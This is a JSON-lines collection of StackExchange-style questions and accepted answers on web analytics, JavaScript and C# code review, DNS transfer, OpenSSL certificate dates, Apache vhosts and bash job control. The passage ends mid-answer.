{  "id": "_webmaster.67767"  , "question": "I have a form which submits using AJAX. My client requested analytics to be updated with a new URL when submit is successful, so they can get statistics on completion vs abandonment of that form.The analytics code they sent me looks like this<script>  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');  ga('create', 'UA-00000000-1', 'auto');  ga('send', 'pageview'); </script>I'm thinking I should use an iframe with this code inside the page to trigger the analytics under a new URL. The iframe page url would have the word success in it so it can be useful in their reporting.I like the iframe approach because it allows me to call the analytics without refreshing the entire page. I could refresh when the 'success' event occurs, but in a multi-step process, with go-forward and go-back + animation, I am not able to refresh conveniently. I like the iframe solution because it accommodates that flexibility should I need it.Is that a good solution, or should I be doing it differently?"  , "title": "How to make analytics refresh after certain event?"  , "tags": "google analytics;ajax;iframe"  , "accepted_answer": "You don't need to use an iframe. This tracking code is for universal analytics. There are a few ways you can push this into Google Analytics:1) Trigger an Event on submitYou can use Javascript for this or jQuery$('#button').on('click', function() {ga('send', 'event', 'button', 'click','Form Completed');});2) Trigger a Virtual Pageview on submitga('send', 'pageview', {'page': '/form-completed','title': 'Page Name - Form Completed'});Both have pros and cons. With Events you cant really set up goal funnels. With Virtual Pageviews you will generate extra pageviews which will mess with your bounce rate.P.S.I would also look into using Google Tag Manager. It will help you set these things up without having to write too much code. Its not as easy as Google wants us to think it is but once you get used to it is great."  } 
{  "id": "_codereview.79071"  , "question": "I'm using the following piece of JavaScript to emulate class extending. Is this a valid way to go or does it have some drawbacks which should definitely be fixed?var Validator = function (inputId) {    use strict;    var self = this;    self.inputId = inputId;    window.document.getElementById(inputId).onblur = function () {        self.check();    };};Validator.prototype.inputId = '';/** * Validator fails by default *   * @returns {Boolean}  */Validator.prototype.isValid = function () {    use strict;    return false;};/** * Check whether the input is valid *  * @returns {Validator} */Validator.prototype.check = function () {    use strict;    // Check and mark whether validation passes    if (!this.isValid()) {        this.markInvalid();    } else {        this.markValid();    }    return this;};/** * Mark the input as valid *  * @returns {Validator} */Validator.prototype.markValid = function () {    use strict;    var input = window.document.getElementById(this.inputId);    // Remove error class name    input.className = input.className.replace(        /(?:^|\\s)error(?!\\S)/g,        ''    );    return this;};/** * Mark input as invalid *  * @returns {Validator} */Validator.prototype.markInvalid = function () {    use strict;    var input = window.document.getElementById(this.inputId);    // Add error class when it is not set already    if (!input.className.match(/(?:^|\\s)error(?!\\S)/g)) {        input.className += ' error';    }    return this;};Than this is used as a concrete validator implementation// Inherit from validatorvar VatCheck = Validator;/** * Validate vat number *  * @note only format is checked, not whether the number is in use *  * @returns {Boolean}  */VatCheck.prototype.isValid = function () {    use strict;    var input = window.document.getElementById(this.inputId);    // Check number by using Vat.js    return !!checkVATNumber(input.value);};The reason I came to this solution is because only one or two methods of the parent class have different behavior, and the use of the strategy pattern seems somewhat over-engineering"  , "title": "Emulating class extending"  , "tags": "javascript;inheritance"  , "accepted_answer": "There is one bad problem in the code that can be answered by the basis of the pattern presented here:// Inherit from validatorvar VatCheck = Validator;This does not inherit anything, instead it causes VatCheck name to point to the exact same object (constructor function) as the Validator. Thus all you are doing is overwriting Validator.prototype.isValid (changing the base implementation), and aliasing the base implementation by different names.If you repeat this pattern again, the end result is that all validators have their isValid check method do the action of the last validator type that you define.Instead you need to do VatCheck.prototype = new Validator() but then you need to also redo the constructor."  } 
{  "id": "_webmaster.2109"  , "question": "I've spent last days to compare different payments gateways solutions. And I've seen that if I want to integrate a payment service (such as paypal, or authorize.net) into my website I need to pay a monthly fee (and not only transaction costs).Is this correct ?For these reasons, I saw it is much more convenient for me to use Paypal Standard Payment Method and to only pay transaction fees.Could you tell me if I'm missing something, or something is wrong ?"  , "title": "how to avoid monthly fees for payment methods on my website"  , "tags": "payments"  , "accepted_answer": "You understand it correctly. The vast majority of payment services have monthly fees associated with them. This includes a merchant account monthly fee as well as a payment gateway monthly fee. If you wish to avoid this fee you can use some of the services offered by third party processors such as Paypal Standard and Google Checkout. The downside to these services is that you lose flexibility as these services typically do not allow for a seamless integration into your website (i.e. your customer has to leave your website to make payment). It's a trade off: no monthly fee vs customization. If you want to avoid monthly fees go with services like Paypal Standard that don't have monthly fees. If you want full control over the checkout process use a service like Authorize.Net."  } 
{  "id": "_codereview.109209"  , "question": "My thoughts are to create a method that contains all of the variables declared. Is it better to say initialized? I would like it to be more efficient but still as clear as possible for future maintenance of the code. Any suggestions for the main bulk of information, such as methods?if (incomeDec <= 300){    taxRateDec1 = 0.15m;    taxDec = incomeDec * taxRateDec1;}else if (incomeDec <= 450){    tierAmtInt = 300;    taxRateDec1 = 0.15m;    taxRateDec2 = 0.2m;    tempValueDec = tierAmtInt * taxRateDec1;    taxDec = (incomeDec - tierAmtInt) * taxRateDec2;    taxDec = taxDec + tempValueDec;}else{    tierAmtInt = 300;    tierAmtInt2 = 150;    taxRateDec1 = 0.15m;    taxRateDec2 = 0.2m;    taxRateDec3 = 0.25m;    tempValueDec = tierAmtInt * taxRateDec1;    tempValueDec = tempValueDec + tierAmtInt2 * taxRateDec2;    taxDec = (incomeDec - tempValueDec) * taxRateDec3;    taxDec = taxDec + tierAmtInt;}incomeDec = incomeDec - taxDec;"  , "title": "Finding tiered income c-primer"  , "tags": "c#;performance"  , "accepted_answer": "If you want more maintainable code where you can easily add more calculations as needed, you may want to refactor it to something like this, where you have a dictionary of calc-functions that you get for each case: (it's not perfect yet, but it should show you the idea)public const decimal tierAmt1 = 300m;public const decimal tierAmt2 = 150m;public const decimal taxRate1 = 0.15m;public const decimal taxRate2 = 0.2m;public const decimal taxRate3 = 0.25m;private IDictionary<decimal, Func<decimal, decimal>> _calcFuncs = new Dictionary<decimal, System.Func<decimal, decimal>>;private decimal CalcIncome(decimal income){    // you can of course initialize this only once in a constructor if you like    _calcFuncs[300] = new Func<decimal, decimal>(CalcIncome1);    _calcFuncs[450] = new Func<decimal, decimal>(CalcIncome2);    _calcFuncs[decimal.MaxValue] = new Func<decimal, decimal>(CalcIncome3);    // replaces all if's    var calcFunc = _calcFuncs.First(k => income <= k.Key).Value;    return calcFunc(income);}private Decimal CalcIncome1(Decimal income){    var tax = 0m;    tax = income * taxRate1;    return income = income - tax;}private Decimal CalcIncome2(Decimal income){    var tax = 0m;    var tempValue = 0m;    tempValue = tierAmt1 * taxRate1;    tax = (income - tierAmt1) * taxRate2;    tax = tax + tempValue;    return income = income - tax;}private Decimal CalcIncome3(Decimal income){    var tax = 0m;    var tempValue = 0m;    tempValue = tierAmt1 * taxRate1;    tempValue = tempValue + tierAmt2 * taxRate2;    tax = (income - tempValue) * taxRate3;    tax = tax + tierAmt1;    return income = income - tax;}CalcIncome(150);CalcIncome(320);CalcIncome(540);You don't need the Dec and Int suffixes; make your variables harder to read and understand."  } 
{  "id": "_webmaster.15931"  , "question": "I have always thought about hosting sites on a local web server with MAMP or a web server application on a reliable and fast connection, but I was wondering if it would be better to just go with web hosting? Also how would web hosting or a web server handle a sudden surge in traffic in a huge scale?"  , "title": "Web Server vs Web Hosting"  , "tags": "php"  , "accepted_answer": "Hosting on a local server requires a lot of knowledge of server administration and security, and generally you'll need more than regular residential internet service for it to work. You would need to check with your ISP to find out whether it is even allowable, as some block inbound port 80 or consider home servers to be a violation of their terms of service.On a residential line, you need to obtain a dynamic DNS account since your server's IP will be changing all the time.Unless you are very familiar with server administration and have a strong understanding of DNS, I would not recommend attempting to serve a website out of your house.(Note: I successfully run a web server out of my house on a residential DSL line, but also work as a professional Linux administrator)"  } 
{  "id": "_codereview.114213"  , "question": "I have created a program which works out days, hours, minutes, seconds and milliseconds until a date which the user inputs. Is it possible to shorten/make the output a little clearer?from datetime import datetimewhile True:    inp = input(Enter date in format yyyy/mm/dd hh:mm:ss)    try:        then = datetime.strptime(inp, %Y/%m/%d %H:%M:%S)        break    except ValueError:        print(Invalid input)now = datetime.now()diff = then - nowprint(diff, until, inp)print(diff.total_seconds(),seconds)"  , "title": "Time till program"  , "tags": "python;beginner;python 3.x;database"  } 
{  "id": "_unix.171489"  , "question": "So, I was moving my laptop around (and I have the bad habit of setting things on the keyboard...) and I woke up to discover this:$Display all 2588 possibilities? (y or n)What command would display something like this?I'm using Bash."  , "title": "Shell: Display all 2588 possibilities?"  , "tags": "bash;shell"  , "accepted_answer": "Hitting TAB key helps you to auto complete either a command or a file/directory (as long as it is executable) you want to use, depending on what you are requesting.Double hitting the TAB key helps you displaying the available stuff you could use for next.e.g.Command completition:I want to edit my crontab. Typing cront and hitting TAB then I will see my command complete: crontab.File/Directory completition:I want to backup my crontab. crontab -l >> Type some words of the destination /ho TAB then I will see: /home/, type next us TAB then I will see: /home/user/Now, when you double hit TAB key without typing something, then the prompt expects something, so it will want to help you displaying all the possibilities. With the prompt empty, it's expecting a command or a file/directory so it will want to display all the commands available for you & all the files/directories located in the directory where you are. The 2588 possibilities output, means the total amount of commands/files/directories available to type."  } 
{  "id": "_codereview.110534"  , "question": "I wrote a Logger which uses the destruction of temporary objects to Log their values including a scope time logger. Lets see what i can improve here to increase the performance and everything else.class Logger { public:     static inline LogMessage Log(LoggerTypes type, const std::string& file,                                  const int& i);     /**     \\brief Get a Timer Message to mesure the time of a scope     Returns a Timer message which can be shifted ostream to with <<.     The Message will be written to consol and log.     The message will automatically append the time since creation and leaving     the local scope. So if use without the macro create a local variable for it.     \\code     {//start a scope         LogTimer t = Logger::Timer(__FILE__,__LINE__);         //do some thing wou want to mesure the time of     } //here it well be logged automatically!     \\endcode     */     static inline LogTimer Timer(const std::string& file, const int& i);     static inline Logger& getInstance();     static void setLogFile(const std::string& filename);     void setLogLevel(const int& i);     int getLogLevel() const;     void inline operator<<(const std::ostringstream& message) const; private:     Logger() : m_logLevel(DEBUG) { };     ~Logger();     Logger(const Logger&) = delete;     Logger& operator=(const Logger& other) = delete;     static std::ofstream* m_file;     static Logger m_instance;     static tasking::SpinLock m_lock;     int m_logLevel; };//.cppstd::ofstream* Logger::m_file = nullptr;Logger Logger::m_instance;tasking::SpinLock Logger::m_lock;void Logger::setLogLevel(const int& i){    m_logLevel = i;}int Logger::getLogLevel() const{    return m_logLevel;}void Logger::setLogFile(const std::string& filename){    if (m_file != nullptr)    {        m_file->flush();        delete m_file;    }    m_file = new std::ofstream(filename, std::ios::out | std::ios::app);}Logger::~Logger(){    //clean up    if(m_file != nullptr)        m_file->flush();    delete m_file;}//.hppinline LogMessage Logger::Log(LoggerTypes type, const std::string& file, const int& i){    return LogMessage(type, file, i);}inline LogTimer Logger::Timer(const std::string& file, const int& i){    return LogTimer(TIMER, file, i);}inline Logger& Logger::getInstance(){    if (m_file == nullptr)        //use a fixed name so it can always be used!        setLogFile(startup.log);    return m_instance;}inline void Logger::operator<<(const std::ostringstream& message) const{    std::lock_guard<tasking::SpinLock> lock(m_lock);    std::cout << message.str() << \\n;    if (m_file != nullptr)    {        *m_file << message.str() << \\n;        m_file->flush();    }}And a Basic Log Message:enum LoggerTypes{    ERROR_L = 0,    EXCAPTION = 1,    WARNING = 2,    TIMER = 3,    INFO = 4,    DEBUG = 5,    SIZE_OF_ENUM_LOGGER_TYPES};struct LoggerTypeMap{    static const char* EnumString[];    /**    @return the configValue as const char*    */    static std::string get(const LoggerTypes& e);};class LogMessage{public:    explicit inline LogMessage(const LoggerTypes& type, const std::string& file = ,                               const int& i = 0);    ~LogMessage();    std::string currentDateTime() const;    /**    returns self reference    */    template <typename T>    inline LogMessage& operator<<(const T& m);    LogMessage(const LogMessage& other);    LogMessage(LogMessage&& other);    LogMessage& operator=(const LogMessage& other);    LogMessage& operator=(LogMessage&& other);private:    std::ostringstream m_stream;    LoggerTypes m_type;};const char* LoggerTypeMap::EnumString[] ={    error,    excaption,    warn,    timer,    info,    debug};//check if valid numer must be the size of the enum!static_assert(sizeof(LoggerTypeMap::EnumString) / sizeof(char*) == SIZE_OF_ENUM_LOGGER_TYPES, size dont match!);std::string LoggerTypeMap::get(const LoggerTypes& e){    return EnumString[e]; //implicit convention and move}LogMessage::~LogMessage(){    //push the message at the end    if (Logger::getInstance().getLogLevel() >= m_type)        Logger::getInstance() << m_stream;}// Get current date/time, format is YYYY-MM-DD.HH:mm:ssstd::string LogMessage::currentDateTime() const{    auto now = time(nullptr);    struct tm tstruct;    char buf[80];    tstruct = *localtime(&now);    strftime(buf, sizeof(buf), [%d-%m-%Y][%X], &tstruct);    return buf;}LogMessage::LogMessage(const LogMessage& other) : m_type(other.m_type){    m_stream << other.m_stream.str();}LogMessage::LogMessage(LogMessage&& other) : m_stream(std::move(other.m_stream)), m_type(other.m_type) {}LogMessage& LogMessage::operator=(const LogMessage& other){    if (this == &other)        return *this;    m_stream << other.m_stream.str();    m_type = other.m_type;    return *this;}LogMessage& LogMessage::operator=(LogMessage&& other){    if (this == &other)        return *this;    m_stream = std::move(other.m_stream);    m_type = other.m_type;    return *this;}template <typename T>inline LogMessage& LogMessage::operator<<(const T& m){    m_stream << m;    return *this;}template <>inline LogMessage& LogMessage::operator<<(const bool& b){    if (b)        m_stream << true;    else        m_stream << false;    return *this;}inline LogMessage::LogMessage(const LoggerTypes& type, const std::string& file,                              const int& i) : m_stream(), m_type(type){    //build the logstring    m_stream << [ + LoggerTypeMap::get(type) + ][File: + file + ][Line: +             std::to_string(i) + ][thread: << std::this_thread::get_id() <<             ] + currentDateTime() +  ;}And the Scopetimer:class LogTimer : public LogMessage{public:    explicit inline LogTimer(const LoggerTypes& type, const std::string& file = ,                      const int& i = 0);    ~LogTimer();    template <typename T>    LogTimer& operator<<(const T& m);    LogTimer(const LogTimer& other);    LogTimer(LogTimer&& other);    inline LogTimer& operator=(const LogTimer& other);    inline LogTimer& operator=(LogTimer&& other);private:    std::chrono::high_resolution_clock::time_point m_start;};LogTimer::LogTimer(const LoggerTypes& type, const std::string& file,                   const int& i) : LogMessage(type, file, i),    m_start(std::chrono::high_resolution_clock::now()) {}template <typename T>LogTimer& LogTimer::operator<<(const T& m){    LogMessage::operator<<(m);    return *this;}inline LogTimer::LogTimer(const LogTimer& other) : LogMessage(other), m_start(other.m_start) { }inline LogTimer::LogTimer(LogTimer&& other) : LogMessage(std::move(other)), m_start(std::move(other.m_start)) { }inline LogTimer& LogTimer::operator=(const LogTimer& other){    if (this == &other)        return *this;    LogMessage::operator =(other);    m_start = other.m_start;    return *this;}inline LogTimer& LogTimer::operator=(LogTimer&& other){    if (this == &other)        return *this;    LogMessage::operator =(std::move(other));    m_start = std::move(other.m_start);    return *this;}Macros:#define __FILENAME__ (strrchr(__FILE__, '\\\\') ? strrchr(__FILE__, '\\\\') + 1 : __FILE__)#define LOG_ERROR jimdb::common::Logger::Log(jimdb::common::LoggerTypes::ERROR_L,__FILENAME__,__LINE__)#define LOG_INFO jimdb::common::Logger::Log(jimdb::common::LoggerTypes::INFO,__FILENAME__,__LINE__)#define LOG_WARN jimdb::common::Logger::Log(jimdb::common::LoggerTypes::WARNING,__FILENAME__,__LINE__)#define LOG_EXCAPT jimdb::common::Logger::Log(jimdb::common::LoggerTypes::EXCAPTION,__FILENAME__,__LINE__)#define LOG_DEBUG jimdb::common::Logger::Log(jimdb::common::LoggerTypes::DEBUG,__FILENAME__,__LINE__)#define LOG_SCOPE_TIME jimdb::common::LogTimer t___ = jimdb::common::Logger::Timer(__FILENAME__,__LINE__); t___Sample usage:int main(){    LOG_DEBUG << some Debug Logentry;    {        LOG_SCOPE_TIME << Some Random Scope        for(auto i = 0; i < 10000; ++i)           LOG_INFO << i;    }}Some real Sample outputs:[warn][File:handshake.cpp][Line:20][thread:10796][01-11-2015][13:29:49] handshake Failed[debug][File:clienthandle.cpp][Line:42][thread:10796][01-11-2015][13:29:49] Client:228 closed[warn][File:handshake.cpp][Line:20][thread:11924][01-11-2015][13:29:49] handshake Failed"  , "title": "Threadsafe Logger with scopetime logging"  , "tags": "c++;performance;multithreading;thread safety;logging"  } 
{  "id": "_webapps.867"  , "question": "My wife and I have been sharing a facebook account under my name, and we're finally going to get her her own account. The problem is that the facebook login email is really her email account.Is there a way to change the Facebook login email, without losing all my friends/contents/updates? If so, will it let me re-use that original email address for a brand new Facebook account?"  , "title": "Can I change my Facebook login email?"  , "tags": "facebook"  , "accepted_answer": "Go to the settings tab, add your email address to the list of email addresses, verify your address and delete the address of your wife. Voil you have a new login address.This works because you can use any of your email address associated with Facebook for login. "  } 
{  "id": "_softwareengineering.140876"  , "question": "I am choosing a license for my open source software and I've learned about GPL, EBMS and BSD. GPL seems to be most popular one.The problems are:Would anybody kindly name a few popular opensource licenses? Since I do not see any EBMS BSD license is popular.Are there any chart or table that have list out the advantages/disadvantages of using anyone?Why is the GPL always the license developers choose from, what are its benefits?"  , "title": "Options for Opensource license?"  , "tags": "open source;licensing"  } 
{  "id": "_webmaster.83109"  , "question": "My company's domain name (a .com) was registered with Demon Internet years ago. I use their nameservers so they provide my DNS. If I ever want to change a DNS record I have to email them and hope they do it correctly - there is no control panel.I want to get full control over my domain name by transferring it to another registrar and using their nameservers so I can manage my own DNS records. I naturally want to avoid, or at least minimise downtime when it all transfers.The DNS records point to third party IP addresses for website and email etc.... i.e. Demon only hold my domain registration and DNS records. The DNS records themselves are not going to change - I simply want to gain control of them.As I see it at the moment, the way to do it is as follows:Obtain a list of all DNS records from Demon for the domainPerform a domain transferOnce transferred, change the nameservers to those of the new domain registrarRe-create the same DNS records on the new registrar's control panelAs the DNS records themselves are not going to change, merely the place where they are stored....can I avoid downtime if I do the above?I don't want to use a provider other than my domain registrar for DNS... and the new registrar I want to use cannot provide DNS until the domain is transferred.Thanks."  , "title": "Minimising downtime when transferring domain name and DNS records"  , "tags": "domains;dns;domain registrar;top level domains"  , "accepted_answer": "You're on the right track, you should be able to avoid downtime all together - DNS management without a control panel, sounds like a nightmare!When you say 'domain transfer' I'm assuming you're talking about moving the domain from one registrar to another. In theory it doesn't matter if this is done before or after the name servers are re-delegated - this shouldn't affect your process unless your new registrar is also your DNS provider and requires you to have the domain with them in order to have DNS services managed by them.Here's how I would do it:Get a copy of a all DNS records from current providerCreate said DNS records on new provider.Test all the DNS records - you can do this by editing your machines hosts file (sudo nano /etc/hosts* on OS X) and pointing it to the new server, these tests will obviously only work on your machine but should give you enough certainty to proceed. For reference, a hosts entry would look like this:   (127.0.0.1 mydomain.com)After doing this, you should be able to ping your domain name to verify it's going to where you've pointed it to in your hosts file, you can also test DNS records in your browser.Be sure to remove the entry you added from your hosts file, after you've verified your DNS records on the new provider are working correctly - otherwise you'll be getting false results on the next step.Re-delegate name servers to new provider, depending on the domain registry this can take some time, I find .com.au domains can be resolving to the new name servers in a few hours, but .com's can take up to 7 days. The general rule is 24-48 hours for resolution.After a period of time has passed (varies depending on registry, etc) you can check and see if your domain is resolving to your new server - you'll usually need to clear your computers DNS cache, and sometimes browser cache to see the changes. On a mac, open up terminal and type dscacheutil -flushcache - this will flush your DNS cache. You can thing ping the domain and see if it's resolving, if not, repeat process with added time waiting for resolution. If you have previously accessed the page in a browser, you will need to clear your browser cache to see the change as well as clearing your O/S DNS cache.Keep in mind, just because it's resolving for you, does not mean it's resolving everywhere - so try and keep both services active for a significant period of time to take care of any stragglers. After the DNS is re-delegated and everything is working nicely, transfer the domain to the new registrar, this should not affect your DNS at all. This step could be done here, or at step 2 - depending on your new providers setup."  } 
{  "id": "_softwareengineering.254290"  , "question": "How would I go about a ranking system for players that play a game? Basically, looking at video games, players throughout the game make critical decisions that ultimately impact the end game result.Is there a way or how would I go about a way to translate some of those factors (leveling up certain skills, purchasing certain items, etc.) into something like a curve that can be plotted on a graph?This game that I would like to implement this is League of Legends.Example: Player is Level 1 in the beginning. Gets a kill very early in the game (he gets gold because of the kill and it increases his power curve), and purchases attack damage (gives him more damage which also increases his power curve. However, the player that he killed (Player 2), buys armor (counters attack damage). This slightly increases Player 2's own power curve, and reduces Player 1's power curve. There's many factors I would like to take into account. These relative factors (example: BECAUSE Player 2 built armor, and I am mainly attack damage, it lowers my OWN power curve) seem the hardest to implement. My question is this: Is there a certain way to approach this task? Are there similar theoretical concepts behind ranking systems that I should read up on (Maybe in game theory or data mining)? I've seen the ELO system, but it doesn't seem what I want since it simply takes into account wins and losses."  , "title": "Ranking players depending on decision making during a game"  , "tags": "design;algorithms;artificial intelligence;problem solving;games"  } 
{  "id": "_webmaster.98766"  , "question": "What I have done is:Created adsense accountCreated an ad unitPlaced that ad unit code on my websiteAfter few days I removed that adsense code from my websiteNow when I open my adsense account the following page is displayed: And when I again submit request for account approval, I receive email with status:Site does not comply with Google policiesAnd in recommendations:Dont place ads on auto-generated pages or pages with little to no original content.Now my question is:Is Google evaluting my website on the basis of adsense code? If yes how can I get the code again? or what is its alternative? How can I delete this account and create a new one?Update:I can neither go to My Ads tab nor delete my account. The only page displayed is shown above."  , "title": "Forget adsense code while activating account"  , "tags": "google adsense"  } 
{  "id": "_webapps.79382"  , "question": "I'm trying to change my Hotmail password after a breach in LastPass but it doesn't seem to work. So I'm curious if Microsoft has a limit of 16 characters for a password?If so, this is very insecure and I'm getting this warning from LastPass:Note that I am using LastPass to generate a secure password. It's just if I make it longer than 16 symbols Hotmail doesn't seem to accept it."  , "title": "Is it true that Microsoft doesn't allow more than 16 characters in their Hotmail password?"  , "tags": "outlook.com;security;passwords"  , "accepted_answer": "Yes, the hotmail password is limited to 16 characters.A few Reason for Maximum Password Length gives some reasons as to why some providers choose a maximum length.See also Why are passwords limited to 16 characters?.Source Outlook webmail passwords restricted to 16 chars - how does that compare with Yahoo and Gmail?It seems that Outlook.com won't let you have a password of longer than 16 characters. (The same was true of Hotmail)."  } 
{  "id": "_cs.47296"  , "question": "I was reading the chapter of van Emde Boas in CLRS (page 547 section 20.3 3rd edition) and it says:Furthermore, the element stored in min does not appear in any of the recursive $vEB( \\sqrt[\\downarrow]{u})$ trees that the cluster array points to. The elements stored in a $vEB(u)$ tree V, therefore, are V.min plus all the elements recursively stored in the $vEB(\\sqrt[\\uparrow]{u})$ trees pointed to by V.cluster$[0..\\sqrt[\\uparrow]{u} - 1]$. Note that when a vEB tree contains two or more elements, we treat min and max differently: the element  stored in min does not appear in any of the clusters, but the element stored in max does.However, I was not sure why that was true. Usually I put more details in my question but I don't understand why the min wouldn't appear recursively too just like in proto one. Does anyone understand the justification for that paragraph? Why do we treat the min and max differently? What is special about 2 or more?"  , "title": "Why do we not store the min in any of the recursive clusters in a Van Emde Boas tree?"  , "tags": "data structures;trees;recursion;search trees"  } 
{  "id": "_webmaster.53905"  , "question": "I searched the cache details of the URL http://property.example.com/pune-properties but the Google Cache showing details for property.example.com. I don't know why it's showing like this. Not only for http://property.example.com/pune-properties but also for all the Indian city relates URL's like http://property.example.com/chennai-properties , http://property.example.com/mumbai-properties , http://property.example.com/kolkata-properties etc. Even I don't find these URLs in the Google search result. If I search Chennai properties in Google, I find property.example.com and not http://property.example.com/chennai-properties. Why its happening like this?"  , "title": "Google Cache showing wrong URL"  , "tags": "url;google cache"  , "accepted_answer": "If your site can  be accessed both by domain URL and IP address then you will have such issues. That IP corresponds to sulekha.com - obvously antoher one of your domains for the same business.You have to 301 redirect accesses from the wrong IP-based URL to the correct domain-based URL, at the server level. Since you are hosted on an IIS server this is something you may need to take up with your hoster if you don't know where to do it. It may be done through the IIS console or through scripting.Using fully qualified URLs in navigation would help diminish the incidence of finding more IP-based URLs during navigation."  } 
{  "id": "_unix.349875"  , "question": "I'm renewing the certificates for my VPN configuration. When I'm checking the validity:openssl verify -CAfile keys/ca.crt -verbose keys/example.org.crtC = XX, ST = XX, L = City, O = Example, OU = Manager, CN = example.org, name = EasyRSA, emailAddress = somemailerror 13 at 0 depth lookup: format error in certificate's notBefore fielderror keys/example.org.crt: verification failedBut checking with x509 shows a valid not before:openssl x509 -in keys/example.org.crt -text Certificate:    Data:        Version: 3 (0x2)        Serial Number: 6 (0x6)    Signature Algorithm: sha512WithRSAEncryption        Validity            Not Before: Mar  4 00:00:00 2017            Not After : Apr  1 00:00:00 2018I issued the certificated following tldp guide:openssl ca -config openssl-1.0.0.cnf -extensions server -days 375 -notext -md sha512 -in keys/example.org.csr -out keys/example.org.crt -startdate 20170304000000 -enddate 20180401000000"  , "title": "format error in certificate's notBefore field but x509 -text shows a valid Not Before"  , "tags": "openssl"  , "accepted_answer": "When you establish the start/end date, you must set the time zone too! Here's a valid certificate:Certificate:    Data:        Version: 3 (0x2)        [...]            Not Before: Mar  5 03:01:35 2016 GMT            Not After : Mar  5 03:01:35 2017 GMTThe -start/enddate options should be formatted YYMMDDHHMMSSZ, yours lack the final Z."  } 
{  "id": "_unix.375201"  , "question": "I was just given a server and need to configure some Vhosts files.They have no idea where are they anymore.How do I locate them?"  , "title": "Locate VHost files in CentOS"  , "tags": "vhost"  , "accepted_answer": "Assuming it's an Apache webserver, take a look in /etc/httpd/:grep -r VirtualHost /etc/httpd/*"  } 
{  "id": "_webmaster.58400"  , "question": "We are organizing most of our work inside an self hosted MediaWiki Installation. Now we want to show an overview page for an category, where the visitor can see the newest pages/changes from this categorys.Like:Category: PHPNew Page: Added DocumentationChanges to PHP 5.Is there any built function or an working plugin available? I know about the possibilty to show recent changes on all kinds of content."  , "title": "MediaWiki: Show newest Pages from an Category"  , "tags": "mediawiki"  , "accepted_answer": "Yes. You should use DynamicPageList:https://www.mediawiki.org/wiki/Extension:DynamicPageListWikinews from Wikimedia uses it and it's well documented and tested."  } 
{  "id": "_reverseengineering.10650"  , "question": "not trying to sound like my question is just more important than others because I'm asking it, purely because the outcome of my work will involve electrical impulses directly into people's faces. I want to make sure I do this right.I've been looking into this hex editing and there seems to be no rhyme or rhythm to what I'm editing. I've programmed before, I can wrap my head around this stuff I just don't know where to begin. The ANSI pane is full of random numbers and letters. Is there any way to find out what hex relates to the number of impulses sent out by this machine? Or at very least, how can I approach the company that made the machine and ask intelligible enough questions to them about how to find the hex code? I want to be as efficient with my time, and their's, as I can be.Thanks."  , "title": "How do I find specific sets of data when Hex Editing? (Important)"  , "tags": "hex"  } 
{  "id": "_cs.29381"  , "question": "Given a biased $N$-sided die, how can a random number in the range $[1,N]$ be generated uniformly? The probability distribution of the die faces is not known, all that is known is that each face has a nonzero probability and that the probability distribution is the same on all throws (in particular, the throws are independent). This is the obvious generalization of Fair results with unfair die.Putting this in computer science terms, we have an oracle representing the die rolls: $D : \\mathbb{N} \\to [1,N]$ such that $p_i = P(D(k)=i)$ is nonzero and independent of $k$. We're looking for a deterministic algorithm $A$ which is parametrized by $D$ (i.e. $A$ may make calls to $D$) such that $P(A()=i) = 1/N$. The algorithm must terminate with probability 1, i.e. the probability that $A$ makes more than $n$ calls to $D$ must converge to $0$ as $n\\to\\infty$.For $N=2$ (simulate a fair coin from coin flips with a biased coin), there is a well-known algorithm:Repeat flip twice until the two throws come up with distinct outcomes ((heads, tails) or (tails, heads)). In other words, loop for $k = 0..\\infty$ until $D(2k+1) \\ne D(2k)$Return 0 if the last pair of flips was (heads, tails) and 1 if it was (tails, heads). In other words, return $D(2k)$ where $k$ is the index at which the loop was terminated.A simplistic way to make an unbiased die from a biased one is to use the coin flip unbiasing method to build a fair coin, and build a fair die with rejection sampling, as in Unbiasing of sequences. But is this optimal (for generic values of the probability distribution)?Specifically, my question is: what is an algorithm that requires the smallest expected number of calls to the oracle? If the set of reachable expected values is open, what is the lower bound and what is a class of algorithms that converges towards this lower bound?In case different families of algorithms are optimal for different probability distributions, let's focus on almost-fair dice: I'm looking for an algorithm or a family of algorithms that's optimal for distributions such that $\\forall i, \\bigl|p_i - 1/N\\bigr| \\lt \\epsilon$ for some $\\epsilon \\gt 0$."  , "title": "Simulate a fair die with a biased die"  , "tags": "probability theory;randomized algorithms;random number generator"  } 
{  "id": "_unix.291995"  , "question": "I am a beginner so I wanted to do a test for the Job Control Commands. So, I ran a cat command and then made it a background job using the bgcommand after stopping it with Ctrl +Z.  Now I wanted to first terminate that background process, so I used the command %kill-2%2 as the Process ID was [2] but it gave me an error saying No such job. I tried it will %kill-9%2 but same error.  I checked it with fg command and that job was still running and it came on foreground    Similarly, I wanted to suspend a background job, so I used the command %kill-19%2 but it gave me an error that No such Job   I want to know my fault or error."  , "title": "Can't terminate / suspend a background job"  , "tags": "kill;cat;background process;job control"  , "accepted_answer": "The command should be kill -2 %2 with proper spacing.  The % sign at the beginning of your line is probably just the prompt they are using (PS1)."  } 
{  "id": "_webmaster.82110"  , "question": "I have a website with universal analytics in the head section and recently I setup Google tag manager to check if I would be able to resolve the issue with no success. My Tracking code looks like  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');  ga('create', 'UA-XXXXXX-X', 'auto');  ga('send', 'pageview');I created an AJAX based event pushing the following onclick event functions in 3 different formsga('send', 'event', 'Category [Form]', 'Action Name [1,2,3]', 'Label Tag [1,2,3]',1);and in google analytics I created 3 Goals using the same Category/Action/Label for each of the 3 different Action-LabelsInside my Google Analytics Behaviour->Event->Overview Report I can see all 3 events being traked, but in the Convertion->Goals->Overview Report all 3 have cero records.Any ideas why this is happening? should I set up the goals again (after event tracking implementation)?   "  , "title": "Events are being tracked but no corresponding Goals (Goal conversions are equals to cero)"  , "tags": "google analytics;conversions;goal tracking;event tracking;analytics events"  , "accepted_answer": "I found the solution to the problem myself and I would like to post the answer in here just in case someone goes through the same struggle. Basically the Goal value did not match the value in the function. The Goals 